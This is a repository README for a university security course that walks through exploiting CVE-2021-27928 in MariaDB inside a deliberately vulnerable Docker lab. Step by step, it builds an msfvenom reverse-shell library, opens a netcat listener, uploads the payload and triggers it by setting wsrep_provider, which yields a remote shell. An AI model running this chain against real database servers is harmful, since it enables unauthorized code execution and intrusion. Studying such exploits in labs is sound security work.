In this repository, you will find a proof of concept of the exploitation of the CVE-2021-27928 flaw through a docker container.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
## Flaw description
System variables `wsrep_provider` and `wsrep_notify_cmd system` can be modified at runtime by a database user with super privileges, which can lead to the eval of remote code that will be executed with these privileges.
The first variable takes a path to the `.so` library that the server will try to `dlopen()`, and the second takes a path to the shell script that the server will execute. Having them writable allows a database user with super privileges to execute arbitrary code as the system `mysql` user.
In this Proof of Concept, we will use msfvenom to generate the `.so` library which will contain our payload (in our case, a reverse shell). We will then copy this file on the vulnerable machine and specify this path on the `wsrep_provider` variable which will execute our payload, giving us access to the target machine as a user with super privileges (here `mysql` user) thanks to our reverse shell.
## Building and launching the vulnerable machine's image
For this experiment, you will need `docker`, `msfvenom`, `openssh-client` and `mariadb` packets to be installed on your machine.
In this setup, the target machine is based on a MariaDB 10.4.12 image (which is vulnerable to this flaw), in which is running an openssh server with no root login allowed. We thus created a non-root user for you, `myuser`, that has as password `mypassword`.
Building the vulnerable image:
docker build --rm=true -t mariadb-cve-2021-27928 .
Launching the target machine:
docker compose up
### Create the payload: a reverse shell
The payload is the binary that we want the target machine to execute once the exploit is finished. Here, we use `msfvenom` to create the reverse shell payload in the shape of a `.so` library, with our IP address (`LHOST`) and port (`LPORT`) as parameters. On another shell, run:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
> `LHOST` IP address is the one defined on `docker-compose.yaml` for the network gateway, in our case the attacker, you.
### Listen for the reverse shell
In the background, on a third terminal, we will listen for any incoming connection from the target machine on the port that it's supposed to connect.
nc -lnvp 4444
> The port we are listening to, `4444`, is the one we set as `LPORT` at the payload creation.
### Send the payload to the vulnerable machine
Now, we need to copy the payload we created earlier (`payload-CVE-2021-27928.so`) to the target machine throught ssh using the `scp` command, as the non-root `myuser` system user, which password is `mypassword`:
scp payload-CVE-2021-27928.so firstname.lastname@example.org:/tmp/payload-CVE-2021-27928.so
As we cannot directly copy a file over ssh to `/usr/lib`, we must connect to the machine and move it manually to the right place (remember that the password of `myuser` is `mypassword`):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
> We could have uploaded the payload to another directory under another name like `/tmp/exploit.so` and passing this path as the payload path, but the flaw having since been corrected on all mariadb packages, its exploitation required some adjustments you will see at the end of this demo.
### Execute the paylaod on the target by exploiting the flaw
The last step is to exploit the MariaDB flaw by sending a request as the friendly non-root system user but competant database administrator we are, with the request of setting the global variable `wsrep_provider` the path of our payload.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
> Here, `root` means "administrator" at a database level, not the "system root" user. The password here is thus the one in the `docker-compose.yaml` file, `MYSQL_ROOT_PASSWORD: myrootpwd`.
<!-- mysql -u root -p -h 192.168.128.5 -e "SHOW VARIABLES LIKE 'wsrep_provider';" -->
Finally, if everything worked as expected, we can see back in the terminal in which we were listening for any incoming connection that the target machine has successfully connected back to us, and that we can run shell commands. Enjoy :)
> The reverse shell is not as fancy as a "classic" shell: you don't have autocompletion, shell prompt nor history, so it's up to you to monitor the proper execution of your commands. Thus, as an example, don't hesitate to use `ls -la`.
> You can run `whoami` on the netcat's shell to check that you are `mysql` system user !
According to the MariaDB's Jira, it seems that there is little (or no) practical use case for having these variables being modified at runtime, it's only ever used in tests. After this flaw was found, the fix was thus to make them read-only which was easy and a safe fix, at the cost of slightly more complex test scripts.
It was not the case before but now, the only path value `wsrep_provider` can take is `/usr/lib/galera/libgalera_smm.so`, that's why this Proof of Concept required some adjustments like giving writing rights to the `/usr/lib/galera` folder in order to be able to upload our payload. This configuration is therefore voluntarily fallible in the context of this demonstration, but is no longer usable in this way on most current systems.
- [MariaDB Server issue on Jira](https://jira.mariadb.org/browse/MDEV-25179)
- [Exploit example](https://packetstormsecurity.com/files/162177/MariaDB-10.2-Command-Execution.html)
This work was done as part of the Information Systems Security course given in the last year of the Information Systems Engineering specialization at Grenoble INP - Ensimag, UGA.